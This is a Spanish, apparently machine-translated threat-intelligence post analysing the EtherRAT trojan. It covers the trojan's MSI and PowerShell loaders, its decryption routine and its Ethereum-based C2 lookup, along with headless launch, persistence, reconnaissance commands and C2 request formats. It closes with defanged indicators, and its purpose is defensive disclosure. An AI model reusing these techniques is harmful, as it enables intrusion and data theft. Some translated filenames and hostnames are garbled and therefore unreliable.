Durante nuestras recientes actividades de búsqueda de amenazas, descubrimos que el malware EtherRAT se distribuía a través de un sitio web con una página de inicio inusual. Esta página nos permitió descubrir una vasta infraestructura maliciosa que distribuía malware, documentos maliciosos, software de escritorio remoto y páginas de phishing.
EtherRAT es un troyano de acceso remoto (RAT) desarrollado en Node.js que permite a un atacante obtener el control total de la máquina y ejecutar código arbitrario devuelto por el servidor de comando y control (C2). El malware utiliza la cadena de bloques Ethereum para acceder al servidor C2, de ahí la parte "Ether" de su nombre. EtherRAT se distribuye normalmente mediante MSI, PowerShell o scripts de JavaScript.
Un directorio abierto que distribuye EtherRAT: donde todo comenzó.
Durante la búsqueda de amenazas, encontramos un directorio abierto que distribuía instaladores MSI y scripts de PowerShell, los cuales, en última instancia, propagaban EtherRAT. En los casos analizados, los scripts de PowerShell y los instaladores MSI se distribuían desde una carpeta "/install". Las versiones tienen una numeración progresiva, desde la v1 hasta la v10.

La página de inicio recuperada nos llamó la atención y nos impulsó a explorar más a fondo la campaña.

Al analizar los dominios y las direcciones IP asociadas a la distribución EtherRAT, detectamos otras páginas de inicio similares con una temática de piratería informática. Estas parecían pertenecer a una cadena de distribución más amplia, que también distribuye software de phishing, control remoto y otro malware. Estos sitios web suelen tener varias carpetas con contenido relacionado con malware y phishing, y lo que se muestra depende de la cadena de infección específica.
Diferentes sitios web que apuntan a las mismas direcciones IP han mostrado previamente páginas relacionadas con empresas falsas o plantillas predeterminadas. Por lo tanto, el uso de estas nuevas páginas podría ser un método para dificultar la detección por parte de escáneres automatizados o investigadores. Estas son algunas de las páginas de inicio que encontramos:

EtherRAT es un troyano de acceso remoto interesante, ya que tiene pocas líneas de código y permite la ejecución de código arbitrario devuelto por el servidor C2. Además, el uso de la cadena de bloques Ethereum para obtener el servidor C2 lo hace más resistente a las caídas de infraestructura.
Análisis técnico de EtherRAT
Los sitios web detectados suelen distribuir un script MSI o PowerShell con el nombre de la versión, como v1.msi, v2.ps1, etc.
Cargador MSI
El archivo MSI “v9.msi” contiene tres componentes:
| Nombre de archivo MSI | Descripción |
| KmPuGimn.cmd | Lanzador de BAT |
| cDQMlQAru0.xml | Primer cargador de Jscript |
| Registro del centro de datos del centro de datos | EtherRAT cifrado |
Cuando se ejecuta el MSI, se inicia el archivo “KmPuGimn.cmd”:
conhost --headless cmd /c "KmPuGimn.cmd"
Este archivo BAT ofuscado realiza diferentes operaciones:
- Extrae los demás archivos en una carpeta aleatoria en %LOCALAPPDATA%.
- Se vuelve a ejecutar a través de:
- %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa
- Ejecuta el comando “where node” para encontrar una instalación existente.
- Descarga Node.js si no se encuentra.
- Utiliza “curl -sLo” para descargar Node.js desde el sitio web oficial.
- Extrae los datos al directorio de instalación mediante “tar -xf”.
- Cambia el nombre del directorio extraído a “28Q75h”.
- El bucle se ejecuta hasta que existan tanto “MRaQCipBIZeiZNx.log” como “cDQMlQAru0.xml”, y luego ejecuta:
- conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml
El archivo ejecutado “cDQMlQAru0.xml” es un cargador que descifra el código incrustado con una función XOR y luego lo ejecuta con “vm.compileFunction”.
decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF

El código descifrado:
- Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”.
- Agrega una clave de registro para la persistencia con “conhost.exe –headless”.
- Descifra “MRaQCipBIZeiZNx.log” y lo ejecuta con la entrada estándar “_MJlLlt5.exe”.
El algoritmo de descifrado es un enrutamiento de decodificación personalizado tipo flujo basado en XOR, rotaciones de bytes y un acumulador:
for e in range(len(data)):
byte = data[e]
g = prev
prev = byte
byte = (byte - g) & 0xff
byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff)
byte = si[byte]
byte = (byte - k[e % len(k)]) & 0xff
result[e] = byte
La etapa final consiste en desplegar EtherRAT. EtherRAT permite al atacante:
- Ejecuta código JavaScript arbitrario recibido del servidor C2. Esto permite al atacante ejecutar nuevos comandos, realizar operaciones en archivos y carpetas, modificar el registro y extraer datos.
- Obtén un nuevo servidor C2 utilizando la cadena de bloques Ethereum.
- Volver a ofuscarse a sí mismo.
- Guarda los registros en “svchost.log”.

EtherRAT utiliza el método JSON-RPC "eth_call" de Ethereum para recuperar la URL C2 activa de un contrato inteligente en la red principal de Ethereum.
Los parámetros de la cadena de bloques en este caso son:
- Contrato: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58
- Selector de función: 0x7d434425
- Argumento: 0xf6a772e163e64b07f658946f863b5d457d88f9f0

Las URL contactadas para obtener el punto final del servidor C2 son:
- red principal[.]puerta de enlace[.]tiernamente[.]co
- rpc[.]flashbots[.]net/fast
- rpc[.]mevblocker[.]io
- eth-mainnet[.]public[.]blastapi[.]io
- ethereum-rpc[.]publicnode[.]com
- eth[.]drpc[.]org
- eth[.]merkle[.]io
Las solicitudes de sondeo utilizan patrones de URL aleatorios basados en algunos parámetros definidos en el código:
GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id>
X-Bot-Server: <c2_url>
En la muestra analizada, los parámetros son:
- ID de compilación: “6f816d80-0d6c-4384-9cd6-6b79965fc08f”
- ext: seleccionado aleatoriamente entre “png”, “jpg”, “gif”, “css”, “ico”, “webp”.
- param: seleccionado aleatoriamente de “id”, “token”, “key”, “b”, “q”, “s”, “v”.
Tras su inicio, el RAT envía su propio código fuente al servidor C2. El servidor C2 responde con una versión ofuscada del script, que se guarda en el disco, lo que provoca que cada ejecución genere un nuevo hash de archivo.
POST /api/[REOBF_PATH]/<victim-uuid>
Body: { "code": "<current_script_contents>", "build": "<build_id>" }
Tras la ejecución de EtherRAT, observamos diferentes actividades de cmd.exe posteriores a la intrusión para comprobar el entorno. Por ejemplo:
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
- consulta de registro “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain”
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain”
- cmd.exe /d /s /c “net session”

Cargador de PowerShell
Las actividades que realizan los cargadores de PowerShell son muy similares a la última etapa del script JS del instalador MSI:
- Descarga Node.js si no está presente.
- Cree los directorios necesarios.
- Decodifica el EtherRAT con un algoritmo de descifrado personalizado.
- Ejecuta Node.js con conhost.exe y la carga útil EtherRAT descifrada.
Hemos detectado algunas variantes del cargador de PowerShell alojado en estos sitios web; concretamente, que los nombres de las funciones y las funciones de descifrado cambian en los scripts de PowerShell analizados.

Seguimiento de la infraestructura maliciosa
Al analizar los diferentes sitios web con páginas de temática de piratería informática, descubrimos que en el pasado muchos habían alojado múltiples páginas de phishing en rutas específicas. Por ejemplo:
- /zht/sharep-redirect.html
- /bl/me.php
- /t/equipos
- /equipos/ Windows /invitación.php
Parece que estos dominios e IP forman parte de una infraestructura mucho mayor que distribuye malware, phishing, documentos maliciosos y software de acceso remoto. Es posible que estas infraestructuras sean compartidas por varios ciberdelincuentes que activan diferentes URL según la campaña específica.
Curiosamente, la mayoría de los dominios relacionados con esta infraestructura maliciosa en el pasado también devolvían una página HTML relacionada con un servicio de "Infraestructura a prueba de balas".
Descubrimos que estas campañas de phishing suelen comenzar con correos electrónicos que incluyen documentos adjuntos, como archivos PDF o Excel. Estos documentos solicitan al usuario que haga clic en un enlace para ver otro documento. A continuación, se muestran dos ejemplos de los documentos de phishing adjuntos a los correos electrónicos:
Estas páginas de phishing suelen solicitar al usuario que introduzca su dirección de correo electrónico, para luego continuar la cadena de infección y distribuir páginas de phishing o malware. A continuación, se muestran algunas de las páginas de phishing detectadas en la infraestructura maliciosa:
Las configuraciones incorrectas dejaron al descubierto los kits de phishing.
Durante el seguimiento de sitios web maliciosos, encontramos uno con un directorio abierto que contenía parte del kit de phishing utilizado en las campañas.

El directorio abierto contenía varias carpetas con código y páginas relacionadas con las campañas de phishing.

Además, algunos dominios estaban mal configurados y permitían la descarga de “cl.zip”, que contenía el código fuente de las páginas “URL Cloaker”.

Indicadores de Compromiso (IOC)
IPs
82[.]165[.]65[.]244: infraestructura maliciosa
185[.]221[.]216[.]121: infraestructura maliciosa
43[.]163[.]233[.]166: infraestructura maliciosa
40[.]160[.]238[.]30: infraestructura maliciosa
159[.]89[.]227[.]204: infraestructura maliciosa
57[.]128[.]31[.]168: infraestructura maliciosa
Dominios
ivorilla[.]cloud: Distribución de EtherRAT
mx[.]nrlwz[.]com: Distribución de EtherRAT
dn[.]eyqwj[.]com: Distribución de EtherRAT
bi[.]mkrjcsw[.]com: Distribución de EtherRAT
dorqen[.]casa: Distribución de EtherRAT
kelvra[.]club: Distribución de EtherRAT
cambioefectivo[.]com: EtherRAT C2
vabelles[.]com: EtherRAT C2
tranzed[.]org: EtherRAT C2
kibrisarazi[.]com: EtherRAT C2
aravisblog[.]com: EtherRAT C2
publicspeakingtip[.]org: EtherRAT C2
Agradecimientos
- Referencia de SharePoint: https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest
Detén las amenazas antes de que puedan causar daño.
Malwarebytes Browser Guard Bloquea automáticamente las páginas de phishing y los sitios maliciosos. Gratis, instalación con un solo clic. Añádelo a tu navegador →
















